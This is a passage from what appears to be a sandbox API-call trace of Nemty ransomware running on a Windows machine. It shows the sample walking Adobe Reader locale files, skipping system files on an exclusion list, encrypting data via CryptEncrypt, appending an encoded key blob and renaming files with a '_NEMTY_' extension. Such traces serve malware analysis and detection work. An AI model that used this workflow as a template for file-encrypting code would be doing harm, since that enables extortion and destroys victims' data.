pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.476] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.476] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.476] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="mNcb/6/oMJ+CAlXFckA+WYVohkYU6BG6pHZc/a+WHYLoU9kiJWay+OUT0yabOudg\r\nJcQtdVnUyVbVWKYnvFbuIuM6YzMGZdmwY1d1yn9APxCAA804rdFxIJv7dYE07g0u\r\nCAUhTC3i+yKoiEp+DGe7wW0b9F+WwsTMqBEb57WGTyrX1PSfhUTLqcITQGtg3NaI\r\nRaThDrbEzLHyrZr7EugAfphJAU3NWCAUu+NBSbXYAMc/RkLTWuyQYleHPLmuU/fw\r\nESM6UyN+uTN3QaIAr7bDCWXE4a8CbwwLdeuwgQzQLbIpQ1w4Yx1JY6XUsnBHbK6S\r\nLPm7Dv7HG4ds6walhQG00Q==\r\n", pcchString=0x653e5dc) returned 1 [0179.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\EScript.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\escript.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.477] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=32256) returned 1 [0179.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7e00) returned 0x6352c48 [0179.477] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.478] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7e00, lpOverlapped=0x0) returned 1 [0179.481] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.481] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7e00, lpOverlapped=0x0) returned 1 [0179.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.481] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00 [0179.481] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.481] CloseHandle (hObject=0x2e8) returned 1 [0179.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.482] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\EScript.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\escript.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\EScript.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\escript.kor._nemty_kgobjgd_")) returned 1 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.482] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.KOR", cAlternateFileName="")) returned 1 [0179.482] lstrcmpiW (lpString1="IA32.KOR", lpString2=".") returned 1 [0179.482] lstrcmpiW (lpString1="IA32.KOR", lpString2="..") returned 1 [0179.482] lstrcmpiW (lpString1="IA32.KOR", lpString2="...") returned 1 [0179.482] lstrcmpiW (lpString1="IA32.KOR", lpString2="windows") returned -1 [0179.482] lstrcmpiW (lpString1="IA32.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.482] lstrcmpiW (lpString1="IA32.KOR", lpString2="rsa") returned -1 [0179.482] lstrcmpiW (lpString1="IA32.KOR", lpString2="NTDETECT.COM") returned -1 [0179.482] lstrcmpiW (lpString1="IA32.KOR", lpString2="ntldr") returned -1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="MSDOS.SYS") returned -1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="IO.SYS") returned -1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="boot.ini") returned 1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="boot.ini") returned 1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="ntuser.dat") returned -1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="desktop.ini") returned 1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="CONFIG.SYS") returned 1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="RECYCLER") returned -1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="bootmgr") returned 1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="programdata") returned -1 [0179.483] lstrcmpiW (lpString1="IA32.KOR", lpString2="appdata") returned 1 [0179.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.KOR", lpUsedDefaultChar=0x0) returned 8 [0179.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.KOR", lpUsedDefaultChar=0x0) returned 8 [0179.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.KOR", lpUsedDefaultChar=0x0) returned 8 [0179.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.KOR", lpUsedDefaultChar=0x0) returned 8 [0179.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.483] Sleep (dwMilliseconds=0x5) [0179.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ea1d170, dwHighDateTime=0x1d561e8)) [0179.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ea1d170, dwHighDateTime=0x1d561e8)) [0179.491] GetLastError () returned 0x0 [0179.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.491] GetLastError () returned 0x0 [0179.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.492] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.492] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.492] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.492] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="haXS8XEW651WHyX033c70u22FqKkCnefB4104mFWVGqEKlOwvSEYSLlkiYjsxRov\r\n14iTg1pm69KS3tIdi/1Q4CdSA8Yj2VWGAaxWdYWP5Lpl8czP1yf/dsxucC6qEjBp\r\nBEnoXmdAcihBiwqQwA3UhkEOEm3m9QCwhe/Z1aE8X75eVrVOcy0JcdoR5sLn/UDD\r\nkizmpm5208Tb/wmIE33lXZSIbBORvdoHbrcV6fV5qydGT18byfXHtvMRuGIDMPP4\r\njUATCf92VuiKe3ThhdhHWShN2GKLG4TyBFPHzX8FSBS6zNP6Q7Ave80CU+AIp8GH\r\nzOnI+uw83CZZglhkRWcrpA==\r\n", pcchString=0x653e5dc) returned 1 [0179.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\IA32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ia32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.492] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3072) returned 1 [0179.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc00) returned 0x634ad48 [0179.493] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.493] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xc00, lpOverlapped=0x0) returned 1 [0179.495] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.495] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xc00, lpOverlapped=0x0) returned 1 [0179.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.495] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0179.495] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.495] CloseHandle (hObject=0x2e8) returned 1 [0179.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.495] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\IA32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ia32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\IA32.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ia32.kor._nemty_kgobjgd_")) returned 1 [0179.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.496] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.KOR", cAlternateFileName="MAKEAC~1.KOR")) returned 1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2=".") returned 1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="..") returned 1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="...") returned 1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="windows") returned -1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="rsa") returned -1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="NTDETECT.COM") returned -1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="ntldr") returned -1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="MSDOS.SYS") returned -1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="IO.SYS") returned 1 [0179.496] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="boot.ini") returned 1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="boot.ini") returned 1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="ntuser.dat") returned -1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="desktop.ini") returned 1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="CONFIG.SYS") returned 1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="RECYCLER") returned -1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="bootmgr") returned 1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="programdata") returned -1 [0179.497] lstrcmpiW (lpString1="makeaccessible.KOR", lpString2="appdata") returned 1 [0179.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.KOR", lpUsedDefaultChar=0x0) returned 18 [0179.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0179.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.KOR", lpUsedDefaultChar=0x0) returned 18 [0179.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0179.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.KOR", lpUsedDefaultChar=0x0) returned 18 [0179.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", 